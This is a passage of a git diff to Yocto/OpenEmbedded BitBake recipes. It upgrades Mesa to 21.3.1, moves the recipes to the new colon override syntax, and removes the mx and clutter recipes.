-PACKAGECONFIG ??= "opengl dri ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa', d)}"
-PACKAGECONFIG_class-target = "opengl dri ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa', d)}"
-
-# When NOT using X11, we need to make sure we have swrast available.
-DRIDRIVERS_append = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', ',swrast', d)}"
diff --git a/meta/recipes-graphics/mesa/mesa-gl_21.3.1.bb b/meta/recipes-graphics/mesa/mesa-gl_21.3.1.bb
new file mode 100644
index 0000000000..142bb743b1
--- /dev/null
+++ b/meta/recipes-graphics/mesa/mesa-gl_21.3.1.bb
@@ -0,0 +1,16 @@
+require mesa.inc
+
+SUMMARY += " (OpenGL only, no EGL/GLES)"
+
+PROVIDES = "virtual/libgl virtual/mesa"
+
+S = "${WORKDIR}/mesa-${PV}"
+
+# At least one DRI rendering engine is required to build mesa.
+# When no X11 is available, use osmesa for the rendering engine.
+PACKAGECONFIG ??= "opengl dri ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa gallium', d)}"
+PACKAGECONFIG:class-target = "opengl dri ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa gallium', d)}"
+
+# 21.0.0 version fails to build when any driver is enabled in DRIDRIVERS
+# ./mesa-21.0.0/meson.build:519:4: ERROR: Problem encountered: building dri drivers require at least one windowing system
+DRIDRIVERS ?= ""
diff --git a/meta/recipes-graphics/mesa/mesa.inc b/meta/recipes-graphics/mesa/mesa.inc
index a6652b0ddb..64702f8168 100644
--- a/meta/recipes-graphics/mesa/mesa.inc
+++ b/meta/recipes-graphics/mesa/mesa.inc
@@ -10,28 +10,26 @@ HOMEPAGE = "http://mesa3d.org"
BUGTRACKER = "https://bugs.freedesktop.org"
SECTION = "x11"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://docs/license.rst;md5=9aa1bc48c9826ad9fdb16661f6930496"
+LIC_FILES_CHKSUM = "file://docs/license.rst;md5=17a4ea65de7a9ab42437f3131e616a7f"
PE = "2"
SRC_URI = "https://mesa.freedesktop.org/archive/mesa-${PV}.tar.xz \
file://0001-meson.build-check-for-all-linux-host_os-combinations.patch \
file://0002-meson.build-make-TLS-ELF-optional.patch \
- file://0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch \
- file://0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch \
file://0001-meson-misdetects-64bit-atomics-on-mips-clang.patch \
file://0001-futex.h-Define-__NR_futex-if-it-does-not-exist.patch \
- file://0001-anv-fix-a-build-race-between-generating-a-header-and.patch \
- file://0001-meson-Add-xcb-fixes-to-loader-when-using-x11-and-dri.patch \
+ file://0001-util-format-Check-for-NEON-before-using-it.patch \
+ file://0001-v3dv-account-for-64bit-time_t-on-32bit-arches.patch \
"
-SRC_URI[sha256sum] = "d1a46d9a3f291bc0e0374600bdcb59844fa3eafaa50398e472a36fc65fd0244a"
+SRC_URI[sha256sum] = "2b0dc2540cb192525741d00f706dbc4586349185dafc65729c7fda0800cc474d"
UPSTREAM_CHECK_GITTAGREGEX = "mesa-(?P<pver>\d+(\.\d+)+)"
#because we cannot rely on the fact that all apps will use pkgconfig,
#make eglplatform.h independent of MESA_EGL_NO_X11_HEADER
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('PACKAGECONFIG', 'egl', 'true', 'false', d)}; then
sed -i -e 's/^#elif defined(__unix__) && defined(EGL_NO_X11)$/#elif defined(__unix__) \&\& defined(EGL_NO_X11) || ${@bb.utils.contains('PACKAGECONFIG', 'x11', '0', '1', d)}/' ${D}${includedir}/EGL/eglplatform.h
fi
@@ -41,7 +39,7 @@ DEPENDS = "expat makedepend-native flex-native bison-native libxml2-native zlib
EXTRANATIVEPATH += "chrpath-native"
PROVIDES = " \
${@bb.utils.contains('PACKAGECONFIG', 'opengl', 'virtual/libgl', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'gles', 'virtual/libgles1 virtual/libgles2', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'gles', 'virtual/libgles1 virtual/libgles2 virtual/libgles3', '', d)} \
${@bb.utils.contains('PACKAGECONFIG', 'egl', 'virtual/egl', '', d)} \
${@bb.utils.contains('PACKAGECONFIG', 'gbm', 'virtual/libgbm', '', d)} \
virtual/mesa \
@@ -51,11 +49,9 @@ inherit meson pkgconfig python3native gettext features_check
BBCLASSEXTEND = "native nativesdk"
-ANY_OF_DISTRO_FEATURES_class-target = "opengl vulkan"
+ANY_OF_DISTRO_FEATURES:class-target = "opengl vulkan"
-PLATFORMS ??= "${@bb.utils.filter('PACKAGECONFIG', 'x11 wayland', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'gbm', 'drm', '', d)} \
- surfaceless"
+PLATFORMS ??= "${@bb.utils.filter('PACKAGECONFIG', 'x11 wayland', d)}"
export YOCTO_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR}/llvm${MESA_LLVM_RELEASE}/llvm-config"
export YOCTO_ALTERNATE_MULTILIB_NAME = "${base_libdir}"
@@ -78,7 +74,7 @@ def check_buildtype(d):
MESON_BUILDTYPE = "${@check_buildtype(d)}"
EXTRA_OEMESON = " \
- -Dshared-glapi=true \
+ -Dshared-glapi=enabled \
-Dgallium-opencl=disabled \
-Dglx-read-only-text=true \
-Dplatforms='${@",".join("${PLATFORMS}".split())}' \
@@ -87,51 +83,49 @@ EXTRA_OEMESON = " \
def strip_comma(s):
return s.strip(',')
-PACKAGECONFIG_class-target ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland vulkan', d)} \
+PACKAGECONFIG:class-target ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland vulkan', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl egl gles gbm dri gallium virgl', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'x11 dri3', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11 vulkan', 'dri3', '', d)} \
elf-tls \
"
-PACKAGECONFIG_class-native ?= "gbm dri egl opengl elf-tls x11"
-PACKAGECONFIG_class-nativesdk ?= "gbm dri egl opengl elf-tls x11"
+PACKAGECONFIG:class-native ?= "gbm gallium egl opengl elf-tls x11"
+PACKAGECONFIG:class-nativesdk ?= "gbm gallium egl opengl elf-tls x11"
-PACKAGECONFIG_remove_libc-musl = "elf-tls"
+PACKAGECONFIG:remove:libc-musl = "elf-tls"
# "gbm" requires "dri", "opengl"
-PACKAGECONFIG[gbm] = "-Dgbm=true,-Dgbm=false"
+PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled"
X11_DEPS = "xorgproto virtual/libx11 libxext libxxf86vm libxdamage libxfixes xrandr"
# "x11" requires "opengl"
PACKAGECONFIG[x11] = ",-Dglx=disabled,${X11_DEPS}"
PACKAGECONFIG[elf-tls] = "-Delf-tls=true, -Delf-tls=false"
-PACKAGECONFIG[xvmc] = "-Dgallium-xvmc=true,-Dgallium-xvmc=false,libxvmc"
+PACKAGECONFIG[xvmc] = "-Dgallium-xvmc=enabled,-Dgallium-xvmc=disabled,libxvmc"
PACKAGECONFIG[wayland] = ",,wayland-native wayland libdrm wayland-protocols"
-DRIDRIVERS_class-native = "swrast"
-DRIDRIVERS_class-nativesdk = "swrast"
-DRIDRIVERS_append_x86_class-target = ",r100,r200,nouveau,i965,i915"
-DRIDRIVERS_append_x86-64_class-target = ",r100,r200,nouveau,i965,i915"
# "dri" requires "opengl"
PACKAGECONFIG[dri] = "-Ddri-drivers=${@strip_comma('${DRIDRIVERS}')}, -Ddri-drivers='', xorgproto libdrm"
-PACKAGECONFIG[dri3] = "-Ddri3=true, -Ddri3=false, xorgproto libxshmfence"
+PACKAGECONFIG[dri3] = "-Ddri3=enabled, -Ddri3=disabled, xorgproto libxshmfence"
# Vulkan drivers need dri3 enabled
# amd could be enabled as well but requires gallium-llvm with llvm >= 3.9
VULKAN_DRIVERS = ""
-VULKAN_DRIVERS_append_x86_class-target = ",intel"
-VULKAN_DRIVERS_append_x86-64_class-target = ",intel"
-VULKAN_DRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+VULKAN_DRIVERS:append:x86:class-target = ",intel"
+VULKAN_DRIVERS:append:x86-64:class-target = ",intel"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'broadcom', ',broadcom', '', d)}"
PACKAGECONFIG[vulkan] = "-Dvulkan-drivers=${@strip_comma('${VULKAN_DRIVERS}')}, -Dvulkan-drivers='',"
PACKAGECONFIG[opengl] = "-Dopengl=true, -Dopengl=false"
# "gles" requires "opengl"
-PACKAGECONFIG[gles] = "-Dgles1=true -Dgles2=true, -Dgles1=false -Dgles2=false"
+PACKAGECONFIG[gles] = "-Dgles1=enabled -Dgles2=enabled, -Dgles1=disabled -Dgles2=disabled"
# "egl" requires "dri", "opengl"
-PACKAGECONFIG[egl] = "-Degl=true, -Degl=false"
+PACKAGECONFIG[egl] = "-Degl=enabled, -Degl=disabled"
+PACKAGECONFIG[broadcom] = ""
PACKAGECONFIG[etnaviv] = ""
PACKAGECONFIG[freedreno] = ""
PACKAGECONFIG[kmsro] = ""
@@ -140,58 +134,64 @@ PACKAGECONFIG[v3d] = ""
GALLIUMDRIVERS = "swrast"
# gallium swrast was found to crash Xorg on startup in x32 qemu
-GALLIUMDRIVERS_x86-x32 = ""
+GALLIUMDRIVERS:x86-x32 = ""
+GALLIUMDRIVERS:append:x86:class-target = ",i915,iris,crocus"
+GALLIUMDRIVERS:append:x86-64:class-target = ",i915,iris,crocus"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'etnaviv', ',etnaviv', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'kmsro', ',kmsro', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'vc4', ',vc4', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'v3d', ',v3d', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'etnaviv', ',etnaviv', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'kmsro', ',kmsro', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'vc4', ',vc4', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'v3d', ',v3d', '', d)}"
# radeonsi requires LLVM
GALLIUMDRIVERS_RADEONSI = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',radeonsi', '', d)}"
-GALLIUMDRIVERS_LLVM = "r300,svga,nouveau${GALLIUMDRIVERS_RADEONSI}"
+GALLIUMDRIVERS_LLVM = "r300,nouveau${GALLIUMDRIVERS_RADEONSI}"
+GALLIUMDRIVERS_LLVM:append:x86:class-target = ",svga"
+GALLIUMDRIVERS_LLVM:append:x86-64:class-target = ",svga"
PACKAGECONFIG[r600] = ""
PACKAGECONFIG[virgl] = ""
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'gallium-llvm', ',${GALLIUMDRIVERS_LLVM}', '', d)}"
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',r600', '', d)}"
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'virgl', ',virgl', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'gallium-llvm', ',${GALLIUMDRIVERS_LLVM}', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',r600', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'virgl', ',virgl', '', d)}"
-PACKAGECONFIG[gallium] = "-Dgallium-drivers=${@strip_comma('${GALLIUMDRIVERS}')}, -Dgallium-drivers=''"
-PACKAGECONFIG[gallium-llvm] = "-Dllvm=true -Dshared-llvm=true, -Dllvm=false, llvm${MESA_LLVM_RELEASE} llvm-native \
+PACKAGECONFIG[gallium] = "-Dgallium-drivers=${@strip_comma('${GALLIUMDRIVERS}')}, -Dgallium-drivers='', libdrm"
+PACKAGECONFIG[gallium-llvm] = "-Dllvm=enabled -Dshared-llvm=enabled, -Dllvm=disabled, llvm${MESA_LLVM_RELEASE} llvm-native \
elfutils"
-PACKAGECONFIG[xa] = "-Dgallium-xa=true, -Dgallium-xa=false"
-PACKAGECONFIG[va] = "-Dgallium-va=true,-Dgallium-va=false,libva-initial"
+PACKAGECONFIG[xa] = "-Dgallium-xa=enabled, -Dgallium-xa=disabled"
+PACKAGECONFIG[va] = "-Dgallium-va=enabled,-Dgallium-va=disabled,libva-initial"
-PACKAGECONFIG[vdpau] = "-Dgallium-vdpau=true,-Dgallium-vdpau=false,libvdpau"
+PACKAGECONFIG[vdpau] = "-Dgallium-vdpau=enabled,-Dgallium-vdpau=disabled,libvdpau"
PACKAGECONFIG[lima] = ""
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'lima', ',lima', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'lima', ',lima', '', d)}"
PACKAGECONFIG[panfrost] = ""
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'panfrost', ',panfrost', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'panfrost', ',panfrost', '', d)}"
-OSMESA = "${@bb.utils.contains('PACKAGECONFIG', 'gallium', 'gallium', 'classic', d)}"
-PACKAGECONFIG[osmesa] = "-Dosmesa=${OSMESA},-Dosmesa=none"
+PACKAGECONFIG[osmesa] = "-Dosmesa=true,-Dosmesa=false"
-PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
-# mesa tries to run cross-built gen_matypes on build machine to get struct size information
-EXTRA_OEMESON_append = " -Dasm=false"
+PACKAGECONFIG[lmsensors] = "-Dlmsensors=enabled,-Dlmsensors=disabled,lmsensors"
# llvmpipe is slow if compiled with -fomit-frame-pointer (e.g. -O2)
-FULL_OPTIMIZATION_append = " -fno-omit-frame-pointer"
+FULL_OPTIMIZATION:append = " -fno-omit-frame-pointer"
-CFLAGS_append_armv5 = " -DMISSING_64BIT_ATOMICS"
-CFLAGS_append_armv6 = " -DMISSING_64BIT_ATOMICS"
+CFLAGS:append:armv5 = " -DMISSING_64BIT_ATOMICS"
+CFLAGS:append:armv6 = " -DMISSING_64BIT_ATOMICS"
# Remove the mesa dependency on mesa-dev, as mesa is empty
-RDEPENDS_${PN}-dev = ""
+RDEPENDS:${PN}-dev = ""
-# Add dependency so that GLES3 header don't need to be added manually
-RDEPENDS_libgles2-mesa-dev += "libgles3-mesa-dev"
+# Khronos documentation says that include/GLES2/gl2ext.h can be used for
+# OpenGL ES 3 specification as well as for OpenGL ES 2.
+# There can be applications including GLES2/gl2ext.h instead of GLES3/gl3ext.h
+# meaning we should probably bring in GLES2/gl2ext.h if someone asks for
+# development package of libgles3.
+RDEPENDS:libgles3-mesa-dev += "libgles2-mesa-dev"
PACKAGES =+ "libegl-mesa libegl-mesa-dev \
libosmesa libosmesa-dev \
@@ -206,7 +206,7 @@ PACKAGES =+ "libegl-mesa libegl-mesa-dev \
mesa-vdpau-drivers \
"
-do_install_append () {
+do_install:append () {
# Drivers never need libtool .la files
rm -f ${D}${libdir}/dri/*.la
rm -f ${D}${libdir}/egl/*.la
@@ -226,6 +226,9 @@ do_install_append () {
# RPROVIDEs/RCONFLICTs on the generic libgl name.
python __anonymous() {
pkgconfig = (d.getVar('PACKAGECONFIG') or "").split()
+ suffix = ""
+ if "-native" in d.getVar("PN"):
+ suffix = "-native"
for p in (("egl", "libegl", "libegl1"),
("dri", "libgl", "libgl1"),
("gles", "libgles1", "libglesv1-cm1"),
@@ -234,79 +237,80 @@ python __anonymous() {
if not p[0] in pkgconfig:
continue
mlprefix = d.getVar("MLPREFIX")
- fullp = mlprefix + p[1] + "-mesa"
+ fullp = mlprefix + p[1] + "-mesa" + suffix
mlprefix = d.getVar("MLPREFIX")
- pkgs = " ".join(mlprefix + x for x in p[1:])
- d.setVar("DEBIAN_NOAUTONAME_" + fullp, "1")
- d.appendVar("RREPLACES_" + fullp, pkgs)
- d.appendVar("RPROVIDES_" + fullp, pkgs)
- d.appendVar("RCONFLICTS_" + fullp, pkgs)
+ pkgs = " " + " ".join(mlprefix + x + suffix for x in p[1:])
+ d.setVar("DEBIAN_NOAUTONAME:" + fullp, "1")
+ d.appendVar("RREPLACES:" + fullp, pkgs)
+ d.appendVar("RPROVIDES:" + fullp, pkgs)
+ d.appendVar("RCONFLICTS:" + fullp, pkgs)
- d.appendVar("RRECOMMENDS_" + fullp, " ${MLPREFIX}mesa-megadriver")
+ d.appendVar("RRECOMMENDS:" + fullp, " ${MLPREFIX}mesa-megadriver" + suffix)
# For -dev, the first element is both the Debian and original name
- fullp += "-dev"
- pkgs = mlprefix + p[1] + "-dev"
- d.setVar("DEBIAN_NOAUTONAME_" + fullp, "1")
- d.appendVar("RREPLACES_" + fullp, pkgs)
- d.appendVar("RPROVIDES_" + fullp, pkgs)
- d.appendVar("RCONFLICTS_" + fullp, pkgs)
+ fullp = mlprefix + p[1] + "-mesa-dev" + suffix
+ pkgs = " " + mlprefix + p[1] + "-dev" + suffix
+ d.setVar("DEBIAN_NOAUTONAME:" + fullp, "1")
+ d.appendVar("RREPLACES:" + fullp, pkgs)
+ d.appendVar("RPROVIDES:" + fullp, pkgs)
+ d.appendVar("RCONFLICTS:" + fullp, pkgs)
}
python mesa_populate_packages() {
pkgs = ['mesa', 'mesa-dev', 'mesa-dbg']
for pkg in pkgs:
- d.setVar("RPROVIDES_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
- d.setVar("RCONFLICTS_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
- d.setVar("RREPLACES_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RPROVIDES:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RCONFLICTS:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RREPLACES:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
import re
dri_drivers_root = oe.path.join(d.getVar('PKGD'), d.getVar('libdir'), "dri")
if os.path.isdir(dri_drivers_root):
- dri_pkgs = os.listdir(dri_drivers_root)
+ dri_pkgs = sorted(os.listdir(dri_drivers_root))
lib_name = d.expand("${MLPREFIX}mesa-megadriver")
for p in dri_pkgs:
m = re.match(r'^(.*)_dri\.so$', p)
if m:
pkg_name = " ${MLPREFIX}mesa-driver-%s" % legitimize_package_name(m.group(1))
- d.appendVar("RPROVIDES_%s" % lib_name, pkg_name)
- d.appendVar("RCONFLICTS_%s" % lib_name, pkg_name)
- d.appendVar("RREPLACES_%s" % lib_name, pkg_name)
+ d.appendVar("RPROVIDES:%s" % lib_name, pkg_name)
+ d.appendVar("RCONFLICTS:%s" % lib_name, pkg_name)
+ d.appendVar("RREPLACES:%s" % lib_name, pkg_name)
pipe_drivers_root = os.path.join(d.getVar('libdir'), "gallium-pipe")
do_split_packages(d, pipe_drivers_root, r'^pipe_(.*)\.so$', 'mesa-driver-pipe-%s', 'Mesa %s pipe driver', extra_depends='')
}
-PACKAGESPLITFUNCS_prepend = "mesa_populate_packages "
+PACKAGESPLITFUNCS:prepend = "mesa_populate_packages "
PACKAGES_DYNAMIC += "^mesa-driver-.*"
-
-FILES_mesa-megadriver = "${libdir}/dri/* ${datadir}/drirc.d/00-mesa-defaults.conf"
-FILES_mesa-vulkan-drivers = "${libdir}/libvulkan_*.so ${datadir}/vulkan"
-FILES_${PN}-vdpau-drivers = "${libdir}/vdpau/*.so.*"
-FILES_libegl-mesa = "${libdir}/libEGL.so.*"
-FILES_libgbm = "${libdir}/libgbm.so.*"
-FILES_libgles1-mesa = "${libdir}/libGLESv1*.so.*"
-FILES_libgles2-mesa = "${libdir}/libGLESv2.so.*"
-FILES_libgl-mesa = "${libdir}/libGL.so.*"
-FILES_libglapi = "${libdir}/libglapi.so.*"
-FILES_libosmesa = "${libdir}/libOSMesa.so.*"
-FILES_libxatracker = "${libdir}/libxatracker.so.*"
-
-FILES_${PN}-dev = "${libdir}/pkgconfig/dri.pc ${includedir}/vulkan ${libdir}/vdpau/*.so"
-FILES_libegl-mesa-dev = "${libdir}/libEGL.* ${includedir}/EGL ${includedir}/KHR ${libdir}/pkgconfig/egl.pc"
-FILES_libgbm-dev = "${libdir}/libgbm.* ${libdir}/pkgconfig/gbm.pc ${includedir}/gbm.h"
-FILES_libgl-mesa-dev = "${libdir}/libGL.* ${includedir}/GL ${libdir}/pkgconfig/gl.pc"
-FILES_libglapi-dev = "${libdir}/libglapi.*"
-FILES_libgles1-mesa-dev = "${libdir}/libGLESv1*.* ${includedir}/GLES ${libdir}/pkgconfig/glesv1*.pc"
-FILES_libgles2-mesa-dev = "${libdir}/libGLESv2.* ${includedir}/GLES2 ${libdir}/pkgconfig/glesv2.pc"
-FILES_libgles3-mesa-dev = "${includedir}/GLES3"
-FILES_libosmesa-dev = "${libdir}/libOSMesa.* ${includedir}/GL/osmesa.h ${libdir}/pkgconfig/osmesa.pc"
-FILES_libxatracker-dev = "${libdir}/libxatracker.so ${libdir}/libxatracker.la \
+PACKAGES_DYNAMIC:class-native = "^mesa-driver-.*-native"
+
+FILES:mesa-megadriver = "${libdir}/dri/* ${datadir}/drirc.d/00-mesa-defaults.conf"
+FILES:mesa-vulkan-drivers = "${libdir}/libvulkan_*.so ${datadir}/vulkan"
+FILES:${PN}-vdpau-drivers = "${libdir}/vdpau/*.so.*"
+FILES:libegl-mesa = "${libdir}/libEGL.so.*"
+FILES:libgbm = "${libdir}/libgbm.so.*"
+FILES:libgles1-mesa = "${libdir}/libGLESv1*.so.*"
+FILES:libgles2-mesa = "${libdir}/libGLESv2.so.*"
+FILES:libgl-mesa = "${libdir}/libGL.so.*"
+FILES:libglapi = "${libdir}/libglapi.so.*"
+FILES:libosmesa = "${libdir}/libOSMesa.so.*"
+FILES:libxatracker = "${libdir}/libxatracker.so.*"
+
+FILES:${PN}-dev = "${libdir}/pkgconfig/dri.pc ${includedir}/vulkan ${libdir}/vdpau/*.so"
+FILES:libegl-mesa-dev = "${libdir}/libEGL.* ${includedir}/EGL ${includedir}/KHR ${libdir}/pkgconfig/egl.pc"
+FILES:libgbm-dev = "${libdir}/libgbm.* ${libdir}/pkgconfig/gbm.pc ${includedir}/gbm.h"
+FILES:libgl-mesa-dev = "${libdir}/libGL.* ${includedir}/GL ${libdir}/pkgconfig/gl.pc"
+FILES:libglapi-dev = "${libdir}/libglapi.*"
+FILES:libgles1-mesa-dev = "${libdir}/libGLESv1*.* ${includedir}/GLES ${libdir}/pkgconfig/glesv1*.pc"
+FILES:libgles2-mesa-dev = "${libdir}/libGLESv2.* ${includedir}/GLES2 ${libdir}/pkgconfig/glesv2.pc"
+FILES:libgles3-mesa-dev = "${includedir}/GLES3"
+FILES:libosmesa-dev = "${libdir}/libOSMesa.* ${includedir}/GL/osmesa.h ${libdir}/pkgconfig/osmesa.pc"
+FILES:libxatracker-dev = "${libdir}/libxatracker.so ${libdir}/libxatracker.la \
${includedir}/xa_tracker.h ${includedir}/xa_composite.h ${includedir}/xa_context.h \
${libdir}/pkgconfig/xatracker.pc"
# Fix upgrade path from mesa to mesa-megadriver
-RREPLACES_mesa-megadriver = "mesa"
-RCONFLICTS_mesa-megadriver = "mesa"
-RPROVIDES_mesa-megadriver = "mesa"
+RREPLACES:mesa-megadriver = "mesa"
+RCONFLICTS:mesa-megadriver = "mesa"
+RPROVIDES:mesa-megadriver = "mesa"
diff --git a/meta/recipes-graphics/mesa/mesa_20.2.1.bb b/meta/recipes-graphics/mesa/mesa_20.2.1.bb
deleted file mode 100644
index 96e8aa38d6..0000000000
--- a/meta/recipes-graphics/mesa/mesa_20.2.1.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require ${BPN}.inc
-
diff --git a/meta/recipes-graphics/mesa/mesa_21.3.1.bb b/meta/recipes-graphics/mesa/mesa_21.3.1.bb
new file mode 100644
index 0000000000..4cb7e80eb5
--- /dev/null
+++ b/meta/recipes-graphics/mesa/mesa_21.3.1.bb
@@ -0,0 +1,5 @@
+require ${BPN}.inc
+DRIDRIVERS ??= ""
+DRIDRIVERS:append:x86:class-target = ",r100,r200,nouveau,i965"
+DRIDRIVERS:append:x86-64:class-target = ",r100,r200,nouveau,i965"
+
diff --git a/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb b/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
index 4e89d631c3..470a5e9ea9 100644
--- a/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
+++ b/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
@@ -1,4 +1,5 @@
SUMMARY = "Very simple session manager for X"
+DESCRIPTION = "Simple session manager for X, that provides just the right boilerplate to create a session and launch the browser "
HOMEPAGE = "http://www.yoctoproject.org"
BUGTRACKER = "http://bugzilla.pokylinux.org"
@@ -8,16 +9,16 @@ LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://mini-x-session;endline=5;md5=b6430bffbcf05f9760e72938826b7487"
SECTION = "x11"
-RCONFLICTS_${PN} = "matchbox-common"
+RCONFLICTS:${PN} = "matchbox-common"
SRC_URI = "file://mini-x-session"
S = "${WORKDIR}"
-RDEPENDS_${PN} = "sudo"
+RDEPENDS:${PN} = "sudo"
inherit update-alternatives
-ALTERNATIVE_${PN} = "x-session-manager"
+ALTERNATIVE:${PN} = "x-session-manager"
ALTERNATIVE_TARGET[x-session-manager] = "${bindir}/mini-x-session"
ALTERNATIVE_PRIORITY = "50"
diff --git a/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch b/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch
deleted file mode 100644
index 82c93dd604..0000000000
--- a/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Fix missing include directory when building tests
-
-This patch is currently required for all versions of mx
-Upstream-Status: Submitted @ https://github.com/clutter-project/mx/issues/82
-Signed-off-by: Tomas Frydrych <tomas@sleepfive.com>
---
-Index: git/tests/Makefile.am
-===================================================================
---- git.orig/tests/Makefile.am 2013-05-08 15:18:56.918596425 +0100
-+++ git/tests/Makefile.am 2013-05-08 15:23:26.864781401 +0100
-@@ -10,7 +10,8 @@
-
- INCLUDES = \
- -I$(top_srcdir) \
-- -I$(top_builddir)
-+ -I$(top_builddir)\
-+ -I$(top_builddir)/mx
-
- noinst_PROGRAMS = \
- test-deform-texture \
diff --git a/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb b/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb
deleted file mode 100644
index 58a6997ffe..0000000000
--- a/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require mx.inc
-
-# The 1.4.7 tag does not build against cogl 1.14, pull in a revision with a fix
-SRCREV = "9b1db6b8060bd00b121a692f942404a24ae2960f"
-PV = "1.4.7+git${SRCPV}"
-
-# Exclude x.99.x versions from upstream checks
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>^\d+(\.(?!99)\d+)+)"
-
-SRC_URI = "git://github.com/clutter-project/mx.git;branch=mx-1.4 \
- file://fix-test-includes.patch \
- "
-S = "${WORKDIR}/git"
-
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=fbc093901857fcd118f065f900982c24 \
- file://mx/mx-widget.c;beginline=8;endline=20;md5=13bba3c973a72414a701e1e87b5ee879"
diff --git a/meta/recipes-graphics/mx/mx.inc b/meta/recipes-graphics/mx/mx.inc
deleted file mode 100644
index 714a06f0af..0000000000
--- a/meta/recipes-graphics/mx/mx.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Clutter based UI widget library"
-LICENSE = "LGPLv2.1"
-
-inherit clutter autotools features_check gobject-introspection gtk-doc
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-DEPENDS = "intltool-native clutter-1.0 dbus-glib gdk-pixbuf"
-
-SRC_URI = "http://source.clutter-project.org/sources/mx/${@get_verdir("${PV}")}/mx-${PV}.tar.xz"
-
-EXTRA_OECONF = "--disable-gtk-widgets \
- --with-dbus \
- --with-winsys=none \
- --without-clutter-imcontext \
- --without-clutter-gesture \
- --without-startup-notification \
- --without-glade \
- "
-
-FILES_${PN} += "${datadir}"
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb
deleted file mode 100644
index 2e7b47dd40..0000000000
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-#
-# Copyright (C) 2007 OpenedHand Ltd.
-#
-
